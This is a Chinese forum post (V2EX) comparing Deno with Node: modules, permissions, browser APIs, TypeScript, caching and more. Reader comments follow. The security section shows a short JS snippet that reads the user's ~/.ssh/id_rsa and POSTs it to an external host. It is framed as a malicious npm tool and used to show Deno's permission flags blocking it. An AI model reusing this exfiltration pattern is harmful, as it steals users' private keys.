Deno 正式发布,彻底弄明白和 node 的区别

2020-05-14 22:46:28 +08:00
 zhangchaojie

前言

Deno 已经正式发布了🎉!

我说这句话时候,是不是很多前端 和 NodeJS 工(码)程(农)师已经按不住自己的 40 米大刀了。心中的不仅感慨前端是真的会造轮子,有了 node 还不够吗,还没学会 node 又搞了个 deno,node 和 deno 啥区别?!

的确,deno 和 node 形态很相似,要解决的问题似乎也相同,那他们到底有啥区别,这一切究竟是道德的沦丧还是 ry (作者)人性的扭曲,让我们走进本篇文章,一探究竟。

Deno VS Node

1.内置 API 引用方式不同

node 模块导入

node 内置 API 通过模块导入的方式引用,例如:

const fs = require("fs");
fs.readFileSync("./data.txt");

deno 全局对象

而 deno 则是一个全局对象 Deno 的属性和方法:

Deno.readFileSync("./data.txt");

具体 deno 有哪些方法,我们可以通过 repl 看一下:

deno # 或 deno repl

进入 repl 后,输入 Deno 回车,我们可以看到:

{
 Buffer: [Function: Buffer],
 readAll: [AsyncFunction: readAll],
 readAllSync: [Function: readAllSync],
 writeAll: [AsyncFunction: writeAll],
 writeAllSync: [Function: writeAllSync],
 # .....
}

这种处理的方式好处是简单、方便,坏处是没有分类,想查找忘记的 API 比较困难。总体来说见仁见智。

2.模块系统

我们再来看一下模块系统,这也是 deno 和 node 差别最大的地方,同样也是 deno 和 node 不兼容的地方。

node CommonJS 规范

我们都知道 node 采用的是 CommonJS 规范,而 deno 则是采用的 ES Module 的浏览器实现,那么我们首先来认识一下:

ES Module 的浏览器实现

具体关于 ES Module 想必大家都早已熟知,但其浏览器实现可能大家还不是很熟悉,所以我们先看一下其浏览器实现:

<body>
  <!-- 注意这里一定要加上 type="module" -->
  <script type="module">
    // 从 URL 导入
    import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js";
    // 从相对路径导入
    import * as utils from "./utils.js";
    // 从绝对路径导入
    import "/index.js";

    // 不支持
    import foo from "foo.js";
    import bar from "bar/index.js";
    import zoo from "./index"; // 没有 .js 后缀
  </script>
</body>

deno 的模块规范

deno 完全遵循 es module 浏览器实现,所以 deno 也是如此:

// 支持
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "/foo.ts";

// 不支持
import foo from "foo.ts";
import bar from "./bar"; // 必须指定扩展名

我们发现其和我们平常在 webpack 或者 ts 使用 es module 最大的不同

关于第 1 点,争议非常大,有人很看好,觉得极大的扩展了 deno 库的范围;有人则不太看好,觉得国内网速的原因,并不实用。大家的看法如何,欢迎在评论区发表 🤔

3.安全

如果模块规范是 node 和 deno 最大的不同,那么对安全的处理,则是另外一个让人摸不着头脑的地方。

模拟盗号

在介绍之前我们先思考一下这个场景会不会出现:

我做了一个基于命令行的一键上网工具 breakwall,每月 1 个 G 免费流量,然后将压缩后的 JS 代码发布到 npm 上,然后后在各种渠道宣传一波。

羊毛党兴高彩烈的 cnpm install -g breakwall,然后每次使用的时候,我偷偷的将诸位的 ssh 密钥和各种能偷的文档及图片偷偷上传到我的服务器,在设定期限到期后,删除电脑上资料,留下一句拿钱换资料,仅支持比特币。

默认安全的 deno

如果你觉得以上情况有可能出现,则会觉得下面的功能很实用。我们先用 deno 执行以下代码:

// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");

rsa = new TextDecoder().decode(rsa);

fetch("http://jsonplaceholder.typicode.com/posts/1", {
  method: "POST",
  body: JSON.stringify(rsa)
})
  .then((res) => res.json())
  .then((res) => console.log("密钥发送成功,嘿嘿嘿😜"));

console.log("start breakwall...");

PS: --unstable 是由于 Deno.dir API 不稳定

> deno run --unstable index.js

我们将会得到如下报错信息:

> deno run --unstable  index.js
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
    ...

意思就是权限异常,需要访问环境变量,需要加上 --allow-env,我们加上这个参数再试一下。

> deno run --unstable --allow-env index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag
    ...

如此反复,还需加上 --allow-read--allow-net ,最终的结果是:

> deno run --unstable --allow-env --allow-read --allow-net  index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜

经过一番折腾,总算是发送成功了,要想盗取密钥实属不易。

白名单

那有人就说了,如果我的应用确实需要访问网络和文件,但是有不想让它访问 .ssh 文件有没有办法?

当然有了,我们可以给 --allow-read--allow-net 指定白名单,名单之外都不可访问,例如:

> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.js
start breakwall...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag
    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)
    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)
    at async fetch ($deno$/web/fetch.ts:591:27)

简化参数

如果确认是没问题,或者是自己开发软件时,图个方便,可以直接使用 -A--allow-all 参数允许所有权限:

> deno -A --unstable index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜

安全这方面见仁见智,有人觉得是多余,有人觉得很好用,极大的增强了安全性。如果你属于觉得这个功能多余的,可以 deno run -A xxx 即可。

4.兼容浏览器 API

很多人不理解,为什么你一个服务端语言要兼容浏览器 API,以及怎么兼容。

为什么要兼容浏览器 API

关于为什么,我举个栗子大家就明白了:在设计 node 之处,关于输出函数本来叫 print 之类的,后来有人提议为什么不叫 console.log,ry 觉得挺不错,于是就接纳了意见。

但是,这个设计并不是刻意为之,而 deno 的设计则可以为之,通过与浏览器 API 保持一致,来减少大家的认知

怎么兼容浏览器 API

概念上兼容
存在 window 全局变量
console.log(window === this, window === self, window === globalThis);
实现了 WindowOrWorkerGlobalScope 的全部方法

具体方法列表,我们可以参考:lib.deno.shared_globals.d.tslib.deno.window.d.ts

// 请求方法
fetch("https://baidu.com");

// base64 转化
let encodedData = btoa("Hello, world"); // 编码
let decodedData = atob(encodedData); // 解码

// 微任务
queueMicrotask(() => {
  console.log(123);
});

// 等等...
大趋势

总体而言,如果服务端和浏览器端存在相同概念,deno 就不会创造新的概念。这一点其实 node 也在做,新的 node 14.0 CHANGELOG 就也提及要实现 Universal JavaScriptSpec compliance and Web Compatibility的思想,所以这点大家应该都会接受吧,毕竟大势所趋趋势。

5.支持 Typescript

不管你喜欢与否,2020 年了,必须学习 TS 了(起码在面试的时候是亮点)。学完之后你才会明白王境泽定律真的无处不在。

// index.ts
let str: string = "王境泽定律";
str = 132;
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.

► file:///Users/zhangchaojie/Desktop/index.ts:2:1

2 str = 123
  ~~~

6.去 node_modules

deno 没有 node_modules,那么它是怎么进行包管理的呢?我们先看下面的例子

// index.js
import { white, bgRed } from "https://deno.land/std/fmt/colors.ts";

console.log(bgRed(white("hello world!")));
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!

我们看到其有 DownloadCompile 两个步骤,我们会产生几个疑问:

1 、每次执行都要下载吗?

解:我们只需要再执行一次就能明白,不需要每次下载。

> deno run index.js
hello world!

2 、Download 和 Compile 的文件在哪里呢?

解:我们会发现,当前执行的目录,并没有 Download 和 Compile 文件,那文件放在哪里呢,我们首先来看一下 deno --help 命令:

> deno --help
SUBCOMMANDS:
# ...
info           Show info about cache or info related to source file

# ...
ENVIRONMENT VARIABLES:
    DENO_DIR   Set deno's base directory (defaults to $HOME/.deno)

deno info 命令展示了依赖关系,类似 package.json

> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
  └── https://deno.land/std/fmt/colors.ts

DENO_DIR 则为实际的安装和编译目录,相当于 node_modules,默认为 $HOME/.deno(命令提示是这样的,但实际需要指定一下环境变量 export DENO_DIR=$HOME/.deno),我们看一下:

> tree $HOME/.deno
/Users/zhangchaojie/.deno
├── deps
│   └── https
│       └── deno.land
│           ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│           └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
    └── https
        └── deno.land
            └── std
                └── fmt
                    ├── colors.ts.js
                    ├── colors.ts.js.map
                    └── colors.ts.meta

8 directories, 5 files

3 、没网络了怎么办?

我们有些场景是将本地写好的代码部署到没有网络的服务器,那么当执行 deno run xxx 时,就是提示 error sending request 。

解:将上面的缓存目录内容,直接拷贝到服务器并指定环境变量到其目录即可。

4 、依赖代码更新了怎么办?

解:当依赖模块更新时,我们可以通过 --reload 进行更新缓存,例如:

> deno run --reload index.js

我们还可以通过白名单的方式,只更新部分依赖。例如:

> deno run --reload=https://deno.land index.js

5 、仅缓存依赖,不执行代码有办法吗?

解:有的,我们可以通过 deno cache index.js 进行依赖缓存。

6 、多版本怎么处理?

解:暂时没有好的解决方案,只能通过 git tag 的方式区分版本。

7.标准模块 与 node API 兼容

我们通过第 1 点可以看到,其实 deno 的 API 相对于 node 其实是少一些的,通过其文件大小也能看出来:

> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   42M   /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   70M   /usr/local/bin/node

那这些少的 API 只能自己写或者求助于社区吗?

deno 对于自身相对于 node 少的和社区中常用的功能,提供了标准模块,其特点是不依赖非标准模块的内容,达到社区内的模块引用最后都收敛于标准模块的效果。例如:

// 类似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";

// 类似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";

同时为了对 node 用户友好,提供了 node API 的兼容

import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";

console.log(path.resolve('./', './test'))

所以,大家在为 deno 社区做贡献的时候,首先要看一下标准模块有没有提供类似的功能,如果已经提供了可以进行引用。

8.异步操作

根据 ry 自己是说法,在设计 node 是有人提议 Promise 处理回调,但是他没听,用他自己的话说就是愚蠢的拒绝了。

node 用回调的方式处理异步操作、deno 则选择用 Promise

// node 方式
const fs = require("fs");
fs.readFile("./data.txt", (err, data) => {
  if (err) throw err;
  console.log(data);
});

另外 deno 支持 top-level-await,所以以上读取文件的代码可以为:

// deno 方式
const data = await Deno.readFile("./data.txt");
console.log(data);

node 关于这方面也在一直改进,例如社区上很多 promisify 解决方案,通过包裹一层函数,实现目的。例如:

// node API promisify
const { promisify } = require("es6-promisify");
const fs = require("fs");

// 没有 top-level-await,只能包一层
async function main() {
  const readFile = promisify(fs.readFile);
  const data = await readFile("./data.txt");
  console.log(data);
}

main();

9.单文件分发

我们知道 npm 包必须有 package.json 文件,里面不仅需要指明 mainmodulebrowser 等字段来标明入口文件,还需要指明 namelicensedescription 等字段来说明这个包。

ry 觉得这些字段扰乱了开发者的视听,所以在 deno 中,其模块不需要任何配置文件,直接是 import url 的形式。

10.去中心化仓库

对于 www.npmjs.com 我们肯定都不陌生,它是推动 node 蓬勃发展的重要支点。但作者认为它是中心化仓库,违背了互联网去中心化原则。

所以 deno 并没有一个像 npmjs.com 的仓库,通过 import url 的方式将互联网任何一处的代码都可以引用。

PS:deno 其实是有个基于 GitHub 的第三方模块集合

11.去开发依赖

我们在写一个 node 库或者工具时,开发依赖是少不了的,例如 babel 做转化和打包、jest 做测试、prettier 做代码格式化、eslint 做代码格式校检、gulp 或者 webpack 做构建等等,让我们在开发前就搞得筋疲力尽。

deno 通过内置了一些工具,解决上述问题。

后记

就像小时候一直幻想的炸弹始终没能炸了学校,技(轮)术(子)的进(制)步(造)一直也未停止过。不论我们学的动或者学不动,技术就在那里,不以人的意志为转移。

至于 deno 能不能火,我个人觉得起码一两年内不会有太大反响,之后和 node 的关系有可能像 Vue 和 react,有人喜欢用 deno,觉得比 node 好一万倍,有人则喜欢 node,觉得 node 还能再战 500 年。至于最终学不学还看自己。

如果觉得文章不错,记得点赞、收藏啦~~~~

10557 次点击
所在节点    JavaScript
62 条回复
basstk
2020-05-15 18:00:48 +08:00
留名,关注中
KuroNekoFan
2020-05-15 18:49:32 +08:00
只是 node_modules 问题的话,用 pnpm 之类的代替 npm 不就完事了,主要卖点还是`服务端 typescript 运行时`吧
markocen
2020-05-15 22:20:43 +08:00
目前 npm 上的库, 如果内部没有直接使用 Node API, 是可以直接在 Deno 里用的
Deno 也有个项目正在做 https://deno.land/std/node/, 用来适配 Node API
xcstream
2020-05-16 01:51:57 +08:00
npm 可以用 cnpm 加速
github 就比较慢了
reiji
2020-05-16 02:57:24 +08:00
马一个,睡醒学
zhw2590582
2020-05-16 07:38:59 +08:00
那旧的 npm 包不都要重构了?
weixiangzhe
2020-05-16 08:50:18 +08:00
意义不大,前台项目没有包管理很危险,后端项目一般一机也是部署一个服务, 好处是本机可以节约好多空间,上上周周删了 yarn 的 cache,256 的机器直接多出 60g 的空间,瞬间惊了
weixiangzhe
2020-05-16 08:51:34 +08:00
个人觉得可以用来写写脚本是挺好的,写好直接丢同事,不用再跑前再安装依赖啦
owencodeing
2020-05-16 10:17:03 +08:00
马克一下
namelosw
2020-05-16 10:24:30 +08:00
挺好的,逐渐和浏览器合流了
要是 Chromium 也有这个觉悟内置 TypeScript transpiler 能开发用就好了
codeloster
2020-05-16 10:32:08 +08:00
记得早期 node 还不兼容 ES 的时候,分出了一个兼容的 node,火了那么一小会。然后 node 根据 ES 标准,它就消失了。Deno 可能也是这命运。
Rrrrrr
2020-05-16 10:46:48 +08:00
真香,写脚本会很好用吧
xiangyuecn
2020-05-16 10:48:14 +08:00
import url 会固化版本吗?还是说别人更新了 1 行代码的库有毛病,然后全网几百万项目挂掉?别的包的内部依赖了几个 G 我不管,我自己依赖了哪些玩意能不能方便的查看到?

另外全局对象真的是全局,优雅过头了点吧。。这个全局玩意,也说不上哪里不好,但就是不好😂
whypool
2020-05-16 10:58:47 +08:00
import url 的文件又 import 另一个 url 无限套娃怎么破?
这还不如直接抄 jar 包管理,中心化的仓库是必须的,不然就是群魔乱舞
就看谁先走到这一步,发布的包进行编译压缩,加入本地版本控制,现在的 node 项目在线上服务器跑 npm install,有大量的 cache,云服务器的硬盘又少根本遭不住

既然发布了正式版,那么 web 框架大佬也得搞一个,是骡子是马 benchmark 一下看看
newghost
2020-05-16 11:01:46 +08:00
promise 性能比回调差很多,不知道这个库底层是怎么实现的,如果只是暴露了 async 接口那还好,如果全是 async/await 写的,那只能呵呵了……
12101111
2020-05-16 14:21:50 +08:00
@newghost 标准 js 的 promise 是 v8 自带的,Deno 里 IO 的 promise 是 Rust 的 future 的包装,其运行时是 tokio
promise 的思想和 Rust 的 future 基本一样,而 Rust 的 future 是零开销抽象,也就是用了 Rust 的 future 写出的异步代码和用手写的回调 /状态机的性能相同或者更好
Messiahhh
2020-05-16 14:28:29 +08:00
环境最重要
cjh1095358798
2020-05-16 21:37:08 +08:00
厉害啊
china521
2020-05-17 12:07:09 +08:00
老夫就是 jquery 一把梭, 有学框架的功夫,已经写完了
DoodleSit
2020-05-17 15:20:34 +08:00
no de
de no

中心对称二阶矩阵

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/671814

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX